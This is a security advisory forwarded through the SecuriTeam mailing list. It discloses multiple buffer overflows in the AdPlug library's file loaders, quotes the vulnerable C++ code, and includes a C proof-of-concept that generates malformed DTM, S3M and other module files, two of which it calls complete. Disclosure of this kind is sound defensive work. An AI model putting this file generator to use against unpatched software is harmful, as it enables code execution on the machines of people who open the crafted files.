[NEWS] AdPlug Multiple Buffer Overflows



The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html

- - - - - - - - -



AdPlug Multiple Buffer Overflows
------------------------------------------------------------------------


SUMMARY

" <http://adplug.sourceforge.net/> AdPlug is a free, cross-platform,
hardware independent AdLib sound player library, mainly written in C++ and
released under the LGPL."

Improper handling of user input allows attackers to execute arbitrary code
using the AdPlug library.

DETAILS

Vulnerable Systems:
* AdPlug library version 2.0 and prior
* AdPlug library cvs from 04 Jul 2006 and prior

Immune Systems:
* AdPlug library cvs from 05 Jul 2006

heap overflow in the unpacking of CFF files:
From cff.cpp:
bool CcffLoader::load(const std::string &filename, const CFileProvider
&fp)
...
f->readString(header.id, 16);
header.version = f->readInt(1); header.size = f->readInt(2);
header.packed = f->readInt(1); f->readString((char *)header.reserved,
12);
if (memcmp(header.id,"<CUD-FM-File>""\x1A\xDE\xE0",16))
{ fp.close(f); return false; }

unsigned char *module = new unsigned char [0x10000];

// packed ?
if (header.packed)
{
cff_unpacker *unpacker = new cff_unpacker;

unsigned char *packed_module = new unsigned char [header.size +
4];

memset(packed_module,0,header.size + 4);

f->readString((char *)packed_module, header.size);
fp.close(f);

if (!unpacker->unpack(packed_module,module))
...

heap overflow in the unpacking of MTK files:
From mtk.cpp:

bool CmtkLoader::load(const std::string &filename, const CFileProvider
&fp)
...
// read header
f->readString(header.id, 18);
header.crc = f->readInt(2);
header.size = f->readInt(2);

// file validation section
if(strncmp(header.id,"mpu401tr\x92kk\xeer@data",18))
{ fp.close(f); return false; }

// load section
cmpsize = fp.filesize(f) - 22;
cmp = new unsigned char[cmpsize];
org = new unsigned char[header.size];
for(i = 0; i < cmpsize; i++) cmp[i] = f->readInt(1);
fp.close(f);

while(cmpptr < cmpsize) { // decompress
...

heap overflow in the unpacking of DMO files:
From dmo.cpp:

#define ARRAY_AS_WORD(a, i) ((a[i + 1] << 8) + a[i])
..
bool CdmoLoader::load(const std::string &filename, const CFileProvider
&fp)
...
// get file size
long packed_length = fp.filesize(f);
f->seek(0);

unsigned char *packed_module = new unsigned char [packed_length];

// load file
f->readString((char *)packed_module, packed_length);
fp.close(f);

// decrypt
unpacker->decrypt(packed_module,packed_length);

long unpacked_length = 0x2000 * ARRAY_AS_WORD(packed_module, 12);
unsigned char *module = new unsigned char [unpacked_length];

// unpack
if (!unpacker->unpack(packed_module+12,module))
...

buffer-overflow in DTM files:
From dtm.cpp:

bool CdtmLoader::load(const std::string &filename, const CFileProvider
&fp)
...
char bufstr[80];

for (i=0;i<16;i++)
{
// get line length
unsigned char bufstr_length = f->readInt(1);

// read line
if (bufstr_length)
{
f->readString(bufstr,bufstr_length);

for (j=0;j<bufstr_length;j++)
if (!bufstr[j])
bufstr[j] = 0x20;

bufstr[bufstr_length] = 0;

strcat(desc,bufstr);
}

strcat(desc,"\n");
}
...

buffer-overflow in S3M files:
From s3m.cpp:

bool Cs3mPlayer::load(const std::string &filename, const CFileProvider
&fp)
...
unsigned short insptr[99],pattptr[99];
...
f->seek(checkhead->ordnum, binio::Add);
for(i = 0; i < checkhead->insnum; i++)
insptr[i] = f->readInt(2);
for(i=0;i<checkhead->insnum;i++) {
f->seek(insptr[i]*16);
if(f->readInt(1) >= 2) {
adlibins = true;
break;
}
}
delete checkhead;
if(!adlibins) { fp.close(f); return false; }
}

// load section
f->seek(0); // rewind for load
load_header(f, &header); // read header
for(i = 0; i < header.ordnum; i++) orders[i] = f->readInt(1); // read
orders
for(i = 0; i < header.insnum; i++) insptr[i] = f->readInt(2); //
instrument parapointers
for(i = 0; i < header.patnum; i++) pattptr[i] = f->readInt(2); //
pattern parapointers

heap overflow in the unpacking of U6M files:
destination.size is set but not used so there is no check on the real size
of the output buffer.

From u6m.cpp:

bool Cu6mPlayer::load(const std::string &filename, const CFileProvider
&fp)
...
unsigned char pseudo_header[6];
f->readString((char *)pseudo_header, 6);
decompressed_filesize = pseudo_header[0] + (pseudo_header[1] <<
8);

if (!( (pseudo_header[2]==0) && (pseudo_header[3]==0) &&
(pseudo_header[4] + ((pseudo_header[5] & 0x1)<<8) == 0x100)
&&
(decompressed_filesize > (filesize-4)) ))
{
fp.close(f);
return(false);
}
...
song_data = new unsigned char[decompressed_filesize];
unsigned char* compressed_song_data = new unsigned char[filesize-4];

f->seek(4);
f->readString((char *)compressed_song_data, filesize - 4);
fp.close(f);

// attempt to decompress the song data
// if unsuccessful, deallocate song_data[] on the spot, and
return(false)
data_block source, destination;
source.size = filesize-4;
source.data = compressed_song_data;
destination.size = decompressed_filesize;
destination.data = song_data;

if (!lzw_decompress(source,destination))
...

Proof of Concept:
/* I have written a basic experimental proof-of-concept but for some
limitations (I don't know all the compression algorithms used) it cannot
test all the bugs.
Anyway it's not completed or optimized so please don't consider it a real
working code except for bugs 4 and 5. */

/*

by Luigi Auriemma

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define VER "0.1"
#define MODULESIZE 0x10000

#define LOWORD(l) ((l) & 0xffff)
#define HIWORD(l) ((l) >> 16)
#define LOBYTE(w) ((w) & 0xff)
#define HIBYTE(w) ((w) >> 8)
#define ARRAY_AS_DWORD(a, i) ((a[i + 3] << 24) + (a[i + 2] << 16) +
(a[i + 1] << 8) + a[i])
#define ARRAY_AS_WORD(a, i) ((a[i + 1] << 8) + a[i])
#define CHARP_AS_WORD(p) (((*(p + 1)) << 8) + (*p))

unsigned short dmo_unpacker_brand(unsigned short range);
int dmo_unpacker_decrypt(unsigned char *buf, long len);
void std_err(void);

#pragma pack(1)

struct {
char id[16];
unsigned char version;
unsigned short size;
unsigned char packed;
unsigned char reserved[12];
} cff_head;

struct {
char id[18];
unsigned short crc;
unsigned short size;
} mtk_head;

struct {
char id[12];
unsigned char version;
char title[20];
char author[20];
unsigned char numpat;
unsigned char numinst;
} dtm_head;

struct {
char name[28];
unsigned char kennung;
unsigned char typ;
unsigned char dummy[2];
unsigned short ordnum;
unsigned short insnum;
unsigned short patnum;
unsigned short flags;
unsigned short cwtv;
unsigned short ffi;
char scrm[4];
unsigned char gv;
unsigned char is;
unsigned char it;
unsigned char mv;
unsigned char uc;
unsigned char dp;
unsigned char dummy2[8];
unsigned short special;
unsigned char chanset[32];
} s3m_head;

#pragma pack()

int main(int argc, char *argv[]) {
FILE *fd;
int i,
j,
attack,
buffsz,
compsz;
unsigned char *buff,
*comp;

fputs("\n"
"AdPlug library <= 2.0 and CVS <= 04 Jul 2006 multiple overflow
"VER"\n"
"by Luigi Auriemma\n"
"e-mail: aluigi@xxxxxxxxxxxxx\n"
"web: aluigi.org\n"
"\n", stdout);

if(argc < 2) {
printf("\n"
"Usage: %s <attack> <file_to_create>\n"
"\n"
"Attack:\n"
" 1 = heap overflow in the unpacking of CFF files\n"
" 2 = heap overflow in the unpacking of MTK files\n"
" 3 = heap overflow in the unpacking of DMO files\n"
" 4 = buffer-overflow in DTM files\n"
" 5 = buffer-overflow in S3M files\n"
" 6 = heap overflow in the unpacking of U6M files\n"
"\n"
"Note: this proof-of-concept is experimental and doesn't
contain the code for\n"
" compressing the data so you must edit it for adding the
missing code if\n"
" you have it\n"
" Actually only attack 4 and 5 can be considered
completed!\n"
"\n", argv[0]);
exit(1);
}

attack = atoi(argv[1]);

printf("- create file %s\n", argv[2]);
fd = fopen(argv[2], "rb");
if(fd) {
fclose(fd);
printf("- do you want to overwrite it (y/N)?\n ");
fflush(stdin);
if((fgetc(stdin) | 0x20) != 'y') exit(1);
}
fd = fopen(argv[2], "wb");
if(!fd) std_err();

if(attack == 1) { /* CFF */
buffsz = MODULESIZE + 256;

buff = malloc(buffsz);

memset(buff, 0,
MODULESIZE);
memcpy(&buff[0x5E1], "CUD-FM-File - SEND A POSTCARD -",
31); // for quick return
memset(buff + MODULESIZE, 'a',
buffsz - MODULESIZE);

/*
DATA MUST BE COMPRESSED WITH A PARTICULAR TYPE OF LZW!!!
I DON'T KNOW THE COMPRESSION ALGORITHM SO DATA IS STORED AS IS
*/
// compsz = 16 + compress(buff, comp + 16, buffsz);
comp = buff;
compsz = buffsz;

memcpy(comp, "YsComp""\x07""CUD1997""\x1A\x04",
16);

memcpy(cff_head.id, "<CUD-FM-File>""\x1A\xDE\xE0",
sizeof(cff_head.id));
cff_head.version = 1;
cff_head.size = compsz;
cff_head.packed = 1;
memset(cff_head.reserved, 0, sizeof(cff_head.reserved));

fwrite(&cff_head, sizeof(cff_head), 1, fd);
fwrite(comp, compsz, 1, fd);

} else if(attack == 2) { /* MTK */
buffsz = 0xffff;

buff = malloc(buffsz);

memset(buff, 'a',
buffsz);

/*
DATA MUST BE COMPRESSED!!!
I DON'T KNOW THE COMPRESSION ALGORITHM SO DATA IS STORED AS IS
*/
// compsz = compress(buff, comp, buffsz);
comp = buff;
compsz = buffsz;

strncpy(mtk_head.id, "mpu401tr\x92kk\xeer@data",
18);
mtk_head.crc = 0;
mtk_head.size = 0; // heap overflow

fwrite(&mtk_head, sizeof(mtk_head), 1, fd);
fwrite(comp, compsz, 1, fd);

} else if(attack == 3) { /* DMO */
printf("- not implemented!\n");

} else if(attack == 4) { /* DTM */
strncpy(dtm_head.id, "DeFy DTM ",
sizeof(dtm_head.id));
dtm_head.version = 0x10;
strncpy(dtm_head.title, "title",
sizeof(dtm_head.title));
strncpy(dtm_head.author,"author",
sizeof(dtm_head.author));
dtm_head.numpat = 0;
dtm_head.numinst = 0;

fwrite(&dtm_head, sizeof(dtm_head), 1, fd);

for(i = 0; i < 15; i++) fputc(0, fd);
buffsz = 140; // <== buffer-overflow
buff = malloc(buffsz);
memset(buff, 'a', buffsz);
fputc(buffsz, fd);
fwrite(buff, buffsz, 1, fd);

for(i = 0; i < 100; i++) fputc(0, fd);

} else if(attack == 5) { /* S3M */
strncpy(s3m_head.name, "name", sizeof(s3m_head.name));
s3m_head.kennung = 0x1a;
s3m_head.typ = 16;
memset(s3m_head.dummy, 0, sizeof(s3m_head.dummy));
s3m_head.ordnum = 0;
s3m_head.insnum = 120; // <== buffer-overflow
s3m_head.patnum = 0; // <== buffer-overflow
s3m_head.flags = 0;
s3m_head.cwtv = 0;
s3m_head.ffi = 0;
memcpy(s3m_head.scrm, "SCRM", sizeof(s3m_head.scrm));
s3m_head.gv = 0;
s3m_head.is = 0;
s3m_head.it = 0;
s3m_head.mv = 0;
s3m_head.uc = 0;
s3m_head.dp = 0;
memset(s3m_head.dummy2, 0, sizeof(s3m_head.dummy2));
s3m_head.special = 0;
for(i = 0; i < 32; i++) s3m_head.chanset[i] = 0;

fwrite(&s3m_head, sizeof(s3m_head), 1, fd);
for(i = 0; i < s3m_head.ordnum; i++) fputc('a', fd);
for(i = 0; i < s3m_head.insnum; i++) { fputc('1', fd); fputc('0',
fd); } // little endian
for(i = 0; i < s3m_head.patnum; i++) { fputc('1', fd); fputc('0',
fd); } // little endian

for(i = 0; i < s3m_head.insnum; i++) {
for(j = 0; j < 80; j++) fputc(0, fd);
}

for(i = 0; i < s3m_head.patnum; i++) {
/* skipped */
}

} else if(attack == 6) { /* U6M */
buffsz = 1000;
buff = malloc(buffsz);

memset(buff, 0, buffsz);
/*
DATA MUST BE COMPRESSED WITH A PARTICULAR TYPE OF LZW!!!
I DON'T KNOW THE COMPRESSION ALGORITHM SO DATA IS STORED AS IS
*/
// compsz = compress(buff, comp, buffsz);
comp = buff;
compsz = buffsz;

fputc(buffsz & 0xff, fd);
fputc((buffsz >> 8) & 0xff, fd);
fputc(0, fd);
fputc(0, fd);
fputc(0, fd);
fputc(1, fd);

fwrite(comp, compsz, 1, fd);
}

fclose(fd);
printf("- finished\n");
return(0);
}

void std_err(void) {
perror("\nError");
exit(1);
}

/* EoF */


ADDITIONAL INFORMATION

The information has been provided by <mailto:aluigi@xxxxxxxxxxxxx> Luigi
Auriemma.
The original article can be found at:
<http://aluigi.altervista.org/adv/adplugbof-adv.txt>
http://aluigi.altervista.org/adv/adplugbof-adv.txt



========================================


This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@xxxxxxxxxxxxxx
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxx


====================
====================

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.



Relevant Pages

  • [EXPL] Serv-U FTPD "SITE CHMOD" Command Remote Exploit
    ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... unsigned char szCommand; ... // 28 bytes decode by lion, ... void shell (int sock) ...
    (Securiteam)
  • [UNIX] X-Chat Socks5 Buffer Overflow Vulnerability (Exploit)
    ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... unsigned int packetlen, addrlen; ... unsigned char buf; ... void getshell; ...
    (Securiteam)
  • [NT] Ipswitch Instant Messaging Multiple Vulnerabilities
    ... unsigned char key) ... des_crypt_ecb(ctx, output, output); ... int tcp_recv(int sd, u8 *buff, int len); ...
    (Securiteam)
  • [EXPL] Quake 3 Buffer Overflow (Exploit)
    ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... port and exit cleanly with an unsuspicious error message. ... unsigned char ipx; ... int hooklen; // for both sendservercommand and directconnect ...
    (Securiteam)
  • [EXPL] Microsoft Word Buffer Overflow (Exploit 2)
    ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Microsoft Word Buffer Overflow ... invalid memory acess and in some cases arbitrary overwrites. ...
    (Securiteam)